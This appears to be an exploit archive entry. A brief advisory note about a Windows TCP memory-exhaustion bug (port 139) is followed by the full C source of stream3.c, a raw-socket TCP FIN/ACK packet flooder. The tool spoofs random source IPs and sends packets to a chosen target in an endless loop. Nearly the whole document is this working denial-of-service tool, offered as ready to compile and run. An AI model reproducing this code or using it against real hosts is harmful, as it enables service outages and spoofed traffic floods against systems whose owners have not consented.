// source: https://www.securityfocus.com/bid/3967/info
An issue exists in Windows which could cause the TCP stack to consume all available system memory.
This is achieved if a user sends numerous empty TCP packets to a host on port 139.
Successful exploitation of this vulnerability could render the system useless.
/*
stream3.c - TCP FIN packet flooder
patched from stream.c by 3APA3A, 2000
3APA3A@security.nnov.ru
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
u_char type; /* type */
u_char len; /* length */
u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip/*_hdr*/ ip;
struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;
void usage(char *progname)
{
fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n",
progname);
fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
fprintf(stderr, " dstport - the port of the target, 0 = random.\n");
fprintf(stderr, " pktsize - the extra size to use. 0 = normal
syn.\n");
exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
u_long lookup(char *hostname)
{
struct hostent *hp;
if ((hp = gethostbyname(hostname)) == NULL) {
fprintf(stderr, "Could not resolve %s.\n", hostname);
exit(1);
}
return *(u_long *)hp->h_addr;
}
void flooder(void)
{
struct timespec ts;
int i;
memset(&packet, 0, sizeof(packet));
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof(packet));
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
packet.ip.ip_dst.s_addr = dstaddr;
packet.ip.ip_src.s_addr = random();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_ack = rand();
packet.tcp.th_flags = TH_ACK|TH_FIN;
packet.tcp.th_sport = rand();
packet.tcp.th_dport = dstport?htons(dstport):rand();
/*
packet.opt.type = 0x02;
packet.opt.len = 0x04;
packet.opt.value = htons(1460);
*/
s_in.sin_family = AF_INET;
s_in.sin_port = packet.tcp.th_dport;
s_in.sin_addr.s_addr = dstaddr;
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
for(i=0;;++i) {
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr
*)&s_in, sizeof(s_in)) < 0)
perror("jess");
}
}
int main(int argc, char *argv[])
{
int on = 1;
printf("stream3.c v0.01 - TCP FIN Packet Flooder\n modified by 3APA3A@security.nnov.ru\n");
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(1);
}
setgid(getgid()); setuid(getuid());
if (argc < 4)
usage(argv[0]);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(1);
}
srand((time(NULL) ^ getpid()) + getppid());
printf("\nResolving IPs..."); fflush(stdout);
dstaddr = lookup(argv[1]);
dstport = atoi(argv[2]);
pktsize = atoi(argv[3]);
printf("Sending..."); fflush(stdout);
flooder();
return 0;
}
